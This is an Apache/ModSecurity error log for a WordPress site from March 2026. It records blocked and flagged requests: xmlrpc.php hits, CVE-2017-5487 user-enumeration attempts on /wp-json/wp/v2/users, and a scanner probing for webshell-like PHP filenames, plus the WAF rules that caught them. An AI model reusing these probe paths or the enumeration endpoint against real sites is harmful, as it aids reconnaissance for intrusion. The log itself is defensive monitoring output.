[Sat Mar 21 13:59:33.616673 2026] [:error] [pid 43052:tid 43070] [client 43.132.214.228:42958] [client 43.132.214.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ab4zxV5fjm-AiInC1hJzfgAAA5A"]
[Sat Mar 21 17:40:56.194405 2026] [:error] [pid 33348:tid 33365] [client 106.51.150.58:8423] [client 106.51.150.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.51.150.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab5nqDEj9d9zzbs_Kjj_EAAAAU4"]
[Sat Mar 21 18:56:27.223891 2026] [:error] [pid 1490:tid 1532] [client 106.51.150.58:8905] [client 106.51.150.58] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ab55W2SWhIPTatyxDeBEIgAAAEA"]
[Sat Mar 21 18:57:49.114315 2026] [:error] [pid 43052:tid 43054] [client 106.51.150.58:8577] [client 106.51.150.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.51.150.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab55rV5fjm-AiInC1hL99AAAA4A"]
[Sat Mar 21 19:01:19.025939 2026] [:error] [pid 1490:tid 1550] [client 170.106.180.139:45210] [client 170.106.180.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ab56f2SWhIPTatyxDeBFKAAAAE8"]
[Sat Mar 21 19:09:24.346718 2026] [:error] [pid 42886:tid 42899] [client 106.51.150.58:8103] [client 106.51.150.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.51.150.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab58ZF452dC6nbNWav1q5QAAAws"]
[Sat Mar 21 19:10:31.323967 2026] [:error] [pid 33584:tid 33608] [client 106.51.150.58:7823] [client 106.51.150.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.51.150.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab58p-ATEQBBo5z2HkmQMQAAAdY"]
[Sun Mar 22 00:47:20.984199 2026] [:error] [pid 40781:tid 41026] [client 43.153.192.98:54136] [client 43.153.192.98] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ab7LmDJQuCgg1YvEGBLX6QAAAFQ"]
[Sun Mar 22 00:48:46.850089 2026] [:error] [pid 41061:tid 41067] [client 106.54.62.156:52934] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ab7L7qksT6woy-Od6iGpLwAAAMM"]
[Sun Mar 22 03:23:03.418599 2026] [:error] [pid 41528:tid 41538] [client 189.6.35.107:6025] [client 189.6.35.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.6.35.107, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab7wF1Vb0dZm141aCRimDgAAAMY"]
[Sun Mar 22 05:36:17.545936 2026] [:error] [pid 40039:tid 40064] [client 189.6.35.107:5806] [client 189.6.35.107] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ab8PUR3aDgUJfBYishnsAQAAARc"]
[Sun Mar 22 05:37:29.707947 2026] [:error] [pid 51362:tid 51422] [client 189.6.35.107:5903] [client 189.6.35.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.6.35.107, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab8PmcOwPm3DXzTDjUesdgAAAFU"]
[Sun Mar 22 05:38:33.253558 2026] [:error] [pid 51361:tid 51384] [client 189.6.35.107:5632] [client 189.6.35.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.6.35.107, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab8P2RXYUsdvKC9YWpUs8QAAAA0"]
[Sun Mar 22 05:39:20.170079 2026] [:error] [pid 40039:tid 40065] [client 189.6.35.107:5658] [client 189.6.35.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.6.35.107, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab8QCB3aDgUJfBYishnuNQAAARg"]
[Sun Mar 22 07:27:14.625912 2026] [:error] [pid 51363:tid 51446] [client 192.144.148.122:51086] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ab8pUlwa9x6OCTRkhl1v3QAAAJA"]
[Sun Mar 22 08:26:15.268273 2026] [:error] [pid 40039:tid 40041] [client 43.157.46.118:47980] [client 43.157.46.118] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ab83Jx3aDgUJfBYishlemgAAAQA"]
[Sun Mar 22 10:31:19.779662 2026] [:error] [pid 51468:tid 51479] [client 154.72.161.100:7654] [client 154.72.161.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.72.161.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab9Ud02TppSvA8W5CBQRKQAAAMM"]
[Sun Mar 22 11:12:54.902110 2026] [autoindex:error] [pid 51362:tid 51407] [client 52.138.39.105:48585] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 22 11:12:55.113525 2026] [autoindex:error] [pid 51362:tid 51406] [client 52.138.39.105:48585] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 22 11:12:55.325286 2026] [autoindex:error] [pid 51362:tid 51402] [client 52.138.39.105:48585] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 22 11:12:56.516980 2026] [autoindex:error] [pid 51362:tid 51410] [client 52.138.39.105:48585] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 22 11:12:59.992943 2026] [:error] [pid 51362:tid 51417] [client 52.138.39.105:48585] [client 52.138.39.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/autoload_classmap.php"] [unique_id "ab9eO8OwPm3DXzTDjUf-hwAAAFA"]
[Sun Mar 22 11:13:00.857726 2026] [:error] [pid 40039:tid 40047] [client 52.138.39.105:2226] [client 52.138.39.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/autoload_classmap.php"] [unique_id "ab9ePB3aDgUJfBYishnLjAAAAQY"]
[Sun Mar 22 11:13:01.684512 2026] [:error] [pid 51362:tid 51402] [client 52.138.39.105:2217] [client 52.138.39.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/autoload_classmap.php"] [unique_id "ab9ePcOwPm3DXzTDjUf-iwAAAEI"]
[Sun Mar 22 11:13:02.513929 2026] [:error] [pid 51362:tid 51412] [client 52.138.39.105:2209] [client 52.138.39.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/autoload_classmap.php"] [unique_id "ab9ePsOwPm3DXzTDjUf-jwAAAEs"]
[Sun Mar 22 12:37:17.256844 2026] [:error] [pid 40039:tid 40042] [client 154.72.161.100:8987] [client 154.72.161.100] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ab9x_R3aDgUJfBYishkLTgAAAQE"]
[Sun Mar 22 12:39:03.249477 2026] [:error] [pid 40039:tid 40047] [client 154.72.161.100:7345] [client 154.72.161.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.72.161.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab9yZx3aDgUJfBYishkMmQAAAQY"]
[Sun Mar 22 12:40:31.538995 2026] [:error] [pid 51363:tid 51432] [client 154.72.161.100:7222] [client 154.72.161.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.72.161.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab9yv1wa9x6OCTRkhl3T_gAAAIQ"]
[Sun Mar 22 12:42:00.363357 2026] [:error] [pid 51468:tid 51489] [client 154.72.161.100:7855] [client 154.72.161.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.72.161.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab9zGE2TppSvA8W5CBRUiAAAAM0"]
[Sun Mar 22 14:16:20.964571 2026] [:error] [pid 51362:tid 51422] [client 203.2.64.59:54965] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ab-JNMOwPm3DXzTDjUctxAAAAFU"]
[Sun Mar 22 14:22:45.276620 2026] [:error] [pid 51468:tid 51492] [client 150.109.230.210:52604] [client 150.109.230.210] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ab-KtU2TppSvA8W5CBSNVwAAANA"]
[Sun Mar 22 18:53:52.025932 2026] [:error] [pid 30166:tid 30170] [client 68.221.64.113:13799] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "ab_KQLm4_26jKMD0zy3KZAAAAUA"]
[Sun Mar 22 18:53:52.724628 2026] [:error] [pid 51363:tid 51428] [client 68.221.64.113:8935] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "ab_KQFwa9x6OCTRkhl1_SQAAAIA"]
[Sun Mar 22 18:53:53.672054 2026] [:error] [pid 51361:tid 51393] [client 68.221.64.113:38868] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "ab_KQRXYUsdvKC9YWpXRhgAAABU"]
[Sun Mar 22 18:53:54.238555 2026] [:error] [pid 51363:tid 51439] [client 68.221.64.113:17804] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "ab_KQlwa9x6OCTRkhl1_UwAAAIo"]
[Sun Mar 22 18:53:55.005104 2026] [:error] [pid 51363:tid 51434] [client 68.221.64.113:38872] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/19.php"] [unique_id "ab_KQ1wa9x6OCTRkhl1_VgAAAIY"]
[Sun Mar 22 18:53:56.386229 2026] [:error] [pid 51363:tid 51444] [client 68.221.64.113:36932] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/19.php"] [unique_id "ab_KRFwa9x6OCTRkhl1_YgAAAI8"]
[Sun Mar 22 18:53:57.579778 2026] [:error] [pid 51363:tid 51451] [client 68.221.64.113:40122] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/19.php"] [unique_id "ab_KRVwa9x6OCTRkhl1_aQAAAJU"]
[Sun Mar 22 18:53:58.679546 2026] [:error] [pid 51363:tid 51440] [client 68.221.64.113:8599] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/19.php"] [unique_id "ab_KRlwa9x6OCTRkhl1_bQAAAIs"]
[Sun Mar 22 18:53:59.899870 2026] [:error] [pid 30166:tid 30171] [client 68.221.64.113:36933] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "ab_KR7m4_26jKMD0zy3KcQAAAUE"]
[Sun Mar 22 18:54:00.716432 2026] [:error] [pid 51362:tid 51419] [client 68.221.64.113:36937] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "ab_KSMOwPm3DXzTDjUeYawAAAFI"]
[Sun Mar 22 18:54:02.787145 2026] [:error] [pid 51362:tid 51401] [client 68.221.64.113:17851] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "ab_KSsOwPm3DXzTDjUeYcwAAAEE"]
[Sun Mar 22 18:54:03.648178 2026] [:error] [pid 51468:tid 51496] [client 68.221.64.113:38889] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "ab_KS02TppSvA8W5CBQ8AQAAANQ"]
[Sun Mar 22 18:54:04.198204 2026] [:error] [pid 51468:tid 51477] [client 68.221.64.113:17838] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "ab_KTE2TppSvA8W5CBQ8BQAAAME"]
[Sun Mar 22 18:54:04.905193 2026] [:error] [pid 51468:tid 51486] [client 68.221.64.113:29818] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "ab_KTE2TppSvA8W5CBQ8CAAAAMo"]
[Sun Mar 22 18:54:05.675852 2026] [:error] [pid 51363:tid 51454] [client 68.221.64.113:38211] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "ab_KTVwa9x6OCTRkhl1_cQAAAJg"]
[Sun Mar 22 18:54:06.463209 2026] [:error] [pid 51363:tid 51444] [client 68.221.64.113:38903] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "ab_KTlwa9x6OCTRkhl1_cgAAAI8"]
[Sun Mar 22 18:54:07.182055 2026] [:error] [pid 51362:tid 51424] [client 68.221.64.113:5033] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "ab_KT8OwPm3DXzTDjUeYfQAAAFc"]
[Sun Mar 22 18:54:07.775755 2026] [:error] [pid 30166:tid 30189] [client 68.221.64.113:16730] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "ab_KT7m4_26jKMD0zy3KeAAAAU4"]
[Sun Mar 22 18:54:08.570510 2026] [:error] [pid 30166:tid 30190] [client 68.221.64.113:46178] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "ab_KULm4_26jKMD0zy3KfQAAAU8"]
[Sun Mar 22 18:54:09.724876 2026] [:error] [pid 51362:tid 51422] [client 68.221.64.113:33052] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "ab_KUcOwPm3DXzTDjUeYgAAAAFU"]
[Sun Mar 22 18:54:10.415701 2026] [:error] [pid 51362:tid 51401] [client 68.221.64.113:46193] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/settings.php"] [unique_id "ab_KUsOwPm3DXzTDjUeYhAAAAEE"]
